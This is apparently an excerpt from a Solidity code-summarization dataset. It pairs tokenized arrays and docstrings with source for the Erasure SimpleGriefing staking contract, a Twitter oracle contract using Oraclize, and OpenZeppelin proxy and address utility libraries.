0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
2499,
2539,
353,
1772,
16,
4232,
39,
28275,
16,
467,
654,
39,
2499,
2539,
16,
467,
654,
39,
2499,
2539,
2277,
3098,
288,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
389,
70,
26488,
20,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
1426,
3719,
3238,
389,
9497,
12053,
4524,
31,
203,
203,
565,
533,
3238,
389,
1650,
31,
203,
203,
565,
1758,
1071,
3410,
31,
203,
377,
203,
203,
203,
3639,
203,
97,
203,
565,
3885,
1435,
288,
203,
2868,
203,
9079,
3410,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
1071,
1476,
5024,
3849,
12,
654,
39,
28275,
16,
467,
654,
39,
28275,
13,
1135,
261,
6430,
13,
288,
203,
3639,
327,
203,
5411,
1560,
548,
422,
618,
12,
45,
654,
39,
2499,
2539,
2934,
5831,
548,
747,
203,
5411,
1560,
548,
422,
618,
12,
45,
654,
39,
2499,
2539,
2277,
3098,
2934,
5831,
548,
747,
203,
5411,
2240,
18,
28064,
1358,
12,
5831,
548,
1769,
203,
565,
289,
203,
203,
27699,
565,
445,
2003,
12,
11890,
5034,
13,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
1650,
31,
203,
565,
289,
203,
203,
7010,
565,
445,
11013,
951,
12,
2867,
2236,
16,
2254,
5034,
612,
2
] |
pragma solidity 0.5.16;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../modules/Griefing.sol";
import "../modules/EventMetadata.sol";
import "../modules/Operated.sol";
import "../modules/Template.sol";
/// @title SimpleGriefing
/// @author Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: [email protected]
/// @dev Version: 1.3.0
/// @dev State Machine: https://github.com/erasureprotocol/erasure-protocol/blob/release/v1.3.x/docs/state-machines/agreements/SimpleGriefing.png
/// @notice This agreement template allows a staker to grant permission to a counterparty to punish, reward, or release their stake.
/// A new instance is initialized by the factory using the `initData` received. See the `initialize()` function for details on initialization parameters.
/// Notable features:
/// - The staker can increase the stake at any time.
/// - The counterparty can increase, release, or punish the stake at any time.
/// - The agreement can be terminated by the counterparty by releasing or punishing the full stake amount. Note it is always possible for the staker to increase their stake again.
/// - Punishments use griefing which requires the counterparty to pay an appropriate amount based on the desired punishment and a predetermined ratio.
/// - An operator can optionally be defined to grant full permissions to a trusted external address or contract.
contract SimpleGriefing is Griefing, EventMetadata, Operated, Template {
using SafeMath for uint256;
Data private _data;
struct Data {
address staker;
address counterparty;
}
event Initialized(
address operator,
address staker,
address counterparty,
TokenManager.Tokens tokenID,
uint256 ratio,
Griefing.RatioType ratioType,
bytes metadata
);
/// @notice Constructor used to initialize the agreement parameters.
/// All parameters are passed as ABI-encoded calldata to the factory. This calldata must include the function selector.
/// @dev Access Control: only factory
/// State Machine: before all
/// @param operator address of the operator that overrides access control. Optional parameter. Passing the address(0) will disable operator functionality.
/// @param staker address of the staker who owns the stake. Required parameter. This address is the only one able to retrieve the stake and cannot be changed.
/// @param counterparty address of the counterparty who has the right to reward, release, and punish the stake. Required parameter. This address cannot be changed.
/// @param tokenID TokenManager.Tokens ID of the ERC20 token. Required parameter. This ID must be one of the IDs supported by TokenManager.
/// @param ratio uint256 number (18 decimals) used to determine punishment cost. Required parameter. See Griefing module for details on valid input.
/// @param ratioType Griefing.RatioType number used to determine punishment cost. Required parameter. See Griefing module for details on valid input.
/// @param metadata bytes data (any format) to emit as event on initialization. Optional parameter.
function initialize(
address operator,
address staker,
address counterparty,
TokenManager.Tokens tokenID,
uint256 ratio,
Griefing.RatioType ratioType,
bytes memory metadata
) public initializeTemplate() {
// set storage values
_data.staker = staker;
_data.counterparty = counterparty;
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
}
// set griefing ratio
Griefing._setRatio(staker, tokenID, ratio, ratioType);
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, staker, counterparty, tokenID, ratio, ratioType, metadata);
}
// state functions
/// @notice Emit metadata event
/// @dev Access Control: operator
/// State Machine: always
/// @param metadata bytes data (any format) to emit as event
function setMetadata(bytes memory metadata) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// update metadata
EventMetadata._setMetadata(metadata);
}
/// @notice Called by the staker to increase the stake
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: staker OR operator
/// State Machine: anytime
/// @param amountToAdd uint256 amount of tokens (18 decimals) to be added to the stake
function increaseStake(uint256 amountToAdd) public {
// restrict access
require(isStaker(msg.sender) || Operated.isOperator(msg.sender), "only staker or operator");
// declare variable in memory
address staker = _data.staker;
// add stake
Staking._addStake(Griefing.getTokenID(staker), staker, msg.sender, amountToAdd);
}
/// @notice Called by the counterparty to increase the stake
/// - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: counterparty OR operator
/// State Machine: anytime
/// @param amountToAdd uint256 amount of tokens (18 decimals) to be added to the stake
function reward(uint256 amountToAdd) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// declare variable in memory
address staker = _data.staker;
// add stake
Staking._addStake(Griefing.getTokenID(staker), staker, msg.sender, amountToAdd);
}
/// @notice Called by the counterparty to punish the stake
/// - burns the punishment from the stake and a proportional amount from the counterparty balance
/// - the cost of the punishment is calculated with the `Griefing.getCost()` function using the predetermined griefing ratio
/// - tokens (ERC-20) are burned from the caller and requires approval of this contract for appropriate amount
/// @dev Access Control: counterparty OR operator
/// State Machine: anytime
/// @param punishment uint256 amount of tokens (18 decimals) to be burned from the stake
/// @param message bytes data (any format) to emit as event giving reason for the punishment
/// @return cost uint256 amount of tokens (18 decimals) it cost to perform punishment
function punish(uint256 punishment, bytes memory message) public returns (uint256 cost) {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// execute griefing
cost = Griefing._grief(msg.sender, _data.staker, punishment, message);
}
/// @notice Called by the counterparty to release the stake to the staker
/// @dev Access Control: counterparty OR operator
/// State Machine: anytime
/// @param amountToRelease uint256 amount of tokens (18 decimals) to be released from the stake
function releaseStake(uint256 amountToRelease) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isOperator(msg.sender), "only counterparty or operator");
// declare variable in memory
address staker = _data.staker;
// release stake back to the staker
Staking._takeStake(Griefing.getTokenID(staker), staker, staker, amountToRelease);
}
/// @notice Called by the operator to transfer control to new operator
/// @dev Access Control: operator
/// State Machine: anytime
/// @param operator address of the new operator
function transferOperator(address operator) public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// transfer operator
Operated._transferOperator(operator);
}
/// @notice Called by the operator to renounce control
/// @dev Access Control: operator
/// State Machine: anytime
function renounceOperator() public {
// restrict access
require(Operated.isOperator(msg.sender), "only operator");
// renounce operator
Operated._renounceOperator();
}
// view functions
/// @notice Get the address of the staker (if set)
/// @return staker address of the staker
function getStaker() public view returns (address staker) {
return _data.staker;
}
/// @notice Validate if the address matches the stored staker address
/// @param caller address to validate
/// @return validity bool true if matching address
function isStaker(address caller) internal view returns (bool validity) {
return caller == getStaker();
}
/// @notice Get the address of the counterparty (if set)
/// @return counterparty address of counterparty account
function getCounterparty() public view returns (address counterparty) {
return _data.counterparty;
}
/// @notice Validate if the address matches the stored counterparty address
/// @param caller address to validate
/// @return validity bool true if matching address
function isCounterparty(address caller) internal view returns (bool validity) {
return caller == getCounterparty();
}
/// @notice Get the token ID and address used by the agreement
/// @return tokenID TokenManager.Tokens ID of the ERC20 token.
/// @return token address of the ERC20 token.
function getToken() public view returns (TokenManager.Tokens tokenID, address token) {
tokenID = Griefing.getTokenID(_data.staker);
return (tokenID, TokenManager.getTokenAddress(tokenID));
}
/// @notice Get the current stake of the agreement
/// @return stake uint256 amount of tokens (18 decimals) staked.
function getStake() public view returns (uint256 stake) {
return Deposit.getDeposit(Griefing.getTokenID(_data.staker), _data.staker);
}
enum AgreementStatus { isInitialized, isStaked }
/// @notice Get the status of the state machine
/// @return status AgreementStatus from the following states:
/// - isInitialized: initialized but no deposits made
/// - isStaked: stake is deposited
function getAgreementStatus() public view returns (AgreementStatus status) {
uint256 currentStake = getStake();
if (currentStake > 0) {
return AgreementStatus.isStaked;
} else {
return AgreementStatus.isInitialized;
}
}
/// @notice Validate if the state machine is in the AgreementStatus.isInitialized state
/// @return validity bool true if correct state
function isInitialized() internal view returns (bool validity) {
return getAgreementStatus() == AgreementStatus.isInitialized;
}
/// @notice Validate if the state machine is in the AgreementStatus.isStaked state
/// @return validity bool true if correct state
function isStaked() internal view returns (bool validity) {
return getAgreementStatus() == AgreementStatus.isStaked;
}
}
| @notice Called by the staker to increase the stake - tokens (ERC-20) are transfered from the caller and requires approval of this contract for appropriate amount @dev Access Control: staker OR operator State Machine: anytime @param amountToAdd uint256 amount of tokens (18 decimals) to be added to the stake restrict access declare variable in memory add stake | function increaseStake(uint256 amountToAdd) public {
require(isStaker(msg.sender) || Operated.isOperator(msg.sender), "only staker or operator");
address staker = _data.staker;
Staking._addStake(Griefing.getTokenID(staker), staker, msg.sender, amountToAdd);
}
| 1,062,250 | [
1,
8185,
635,
326,
384,
6388,
358,
10929,
326,
384,
911,
1850,
300,
2430,
261,
654,
39,
17,
3462,
13,
854,
7412,
329,
628,
326,
4894,
471,
4991,
23556,
434,
333,
6835,
364,
5505,
3844,
225,
5016,
8888,
30,
384,
6388,
4869,
3726,
1377,
3287,
12026,
30,
1281,
957,
225,
3844,
13786,
2254,
5034,
3844,
434,
2430,
261,
2643,
15105,
13,
358,
506,
3096,
358,
326,
384,
911,
13108,
2006,
14196,
2190,
316,
3778,
527,
384,
911,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
10929,
510,
911,
12,
11890,
5034,
3844,
13786,
13,
1071,
288,
203,
3639,
2583,
12,
291,
510,
6388,
12,
3576,
18,
15330,
13,
747,
7692,
690,
18,
291,
5592,
12,
3576,
18,
15330,
3631,
315,
3700,
384,
6388,
578,
3726,
8863,
203,
203,
3639,
1758,
384,
6388,
273,
389,
892,
18,
334,
6388,
31,
203,
203,
3639,
934,
6159,
6315,
1289,
510,
911,
12,
43,
17802,
310,
18,
588,
1345,
734,
12,
334,
6388,
3631,
384,
6388,
16,
1234,
18,
15330,
16,
3844,
13786,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
import "installed_contracts/oraclize-api/contracts/usingOraclize.sol";
import "installed_contracts/zeppelin/contracts/ownership/Ownable.sol";
import "installed_contracts/zeppelin/contracts/lifecycle/Pausable.sol";
import "installed_contracts/zeppelin/contracts/lifecycle/Destructible.sol";
/// @title The Twitter Oracle contract which allows users to retrieve and store twitter posts
/// @author Shawn Tabrizi
/// @notice This contract uses Oraclize to retrieve post text from Twitter, and store it in this contract
contract TwitterOracle is Ownable, Pausable, Destructible, usingOraclize {
/* Storage */
address public owner;
mapping(bytes32 => string) public tweetTexts;
mapping(bytes32 => string) internal queryToPost;
/* Events */
event LogInfo(string description);
event LogTextUpdate(string text);
event LogUpdate(address indexed _owner, uint indexed _balance);
/* Functions */
/// @notice The constuctor function for this contract, establishing the owner of the oracle, the intial balance of the contract, and the Oraclize Resolver address
/// @dev Owner management can be done through Open-Zeppelin's Ownable.sol, this contract needs ETH to function and should be initialized with funds
constructor()
payable
public
{
owner = msg.sender;
emit LogUpdate(owner, address(this).balance);
// Replace the next line with your version:
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS);
}
/// @notice The fallback function for the contract
/// @dev Will simply revert any unexpected calls
function()
public
{
revert("Fallback function. Reverting...");
}
/// @notice An internal function which checks that a particular string is not empty
/// @dev To be used in the Oraclize callback function to make sure the resulting text is not null
/// @param _s The string to check if empty/null
/// @return Returns false if the string is empty, and true otherwise
function stringNotEmpty(string _s)
internal
pure
returns(bool)
{
bytes memory tempString = bytes(_s);
if (tempString.length == 0) {
return false;
} else {
return true;
}
}
/// @notice The callback function that Oraclize calls when returning a result
/// @dev Will store the text of a Twitter post into this contract's storage
/// @param _id The query ID generated when calling oraclize_query
/// @param _result The result from Oraclize, should be the Twitter post text
/// @param _proof The authenticity proof returned by Oraclize, not currently being used in this contract, but it can be upgraded to do so
function __callback(bytes32 _id, string _result, bytes _proof)
public
whenNotPaused
{
require(
msg.sender == oraclize_cbAddress(),
"The caller of this function is not the offical Oraclize Callback Address."
);
require(
stringNotEmpty(queryToPost[_id]),
"The Oraclize query ID does not match an Oraclize request made from this contract."
);
bytes32 postHash = keccak256(abi.encodePacked(queryToPost[_id]));
tweetTexts[postHash] = _result;
emit LogTextUpdate(_result);
}
/// @notice Returns the balance of this contract
/// @dev This contract needs ether to be able to interact with the oracle
/// @return Returns the ether balance of this contract
function getBalance()
public
view
returns (uint _balance)
{
return address(this).balance;
}
/// @notice This function iniates the oraclize process for a Twitter post
/// @dev This contract needs ether to be able to call the oracle, which is why this function is also payable
/// @param _postId The twitter post to fetch with the oracle. Expecting "<user>/status/<id>"
function oraclizeTweet(string _postId)
public
payable
whenNotPaused
{
// Check if we have enough remaining funds
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogInfo("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
} else {
emit LogInfo("Oraclize query was sent, standing by for the answer..");
// Using XPath to to fetch the right element in the JSON response
string memory query = string(abi.encodePacked("html(https://twitter.com/", _postId, ").xpath(//div[contains(@class, 'permalink-tweet-container')]//p[contains(@class, 'tweet-text')]//text())"));
bytes32 queryId = oraclize_query("URL", query, 6721975);
queryToPost[queryId] = _postId;
}
}
/// @notice This function returns the text of a specific Twitter post stored in this contract
/// @dev This function will return an empty string in the situation where the Twitter post has not been stored yet
/// @param _postId The twitter post to get the text of. Expeting "<user>/status/<id>"
/// @return Returns the text of the twitter post, or an empty string in the case where the post has not been stored yet
function getTweetText(string _postId)
public
view
returns(string)
{
bytes32 postHash = keccak256(abi.encodePacked(_postId));
return tweetTexts[postHash];
}
} | @notice Returns the balance of this contract @dev This contract needs ether to be able to interact with the oracle @return Returns the ether balance of this contract | function getBalance()
public
view
returns (uint _balance)
{
return address(this).balance;
}
| 5,477,012 | [
1,
1356,
326,
11013,
434,
333,
6835,
225,
1220,
6835,
4260,
225,
2437,
358,
506,
7752,
358,
16592,
598,
326,
20865,
327,
2860,
326,
225,
2437,
11013,
434,
333,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2882,
6112,
1435,
203,
565,
1071,
203,
565,
1476,
203,
565,
1135,
261,
11890,
389,
12296,
13,
203,
565,
288,
203,
3639,
327,
1758,
12,
2211,
2934,
12296,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/proxy/Proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/proxy/UpgradeableProxy.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
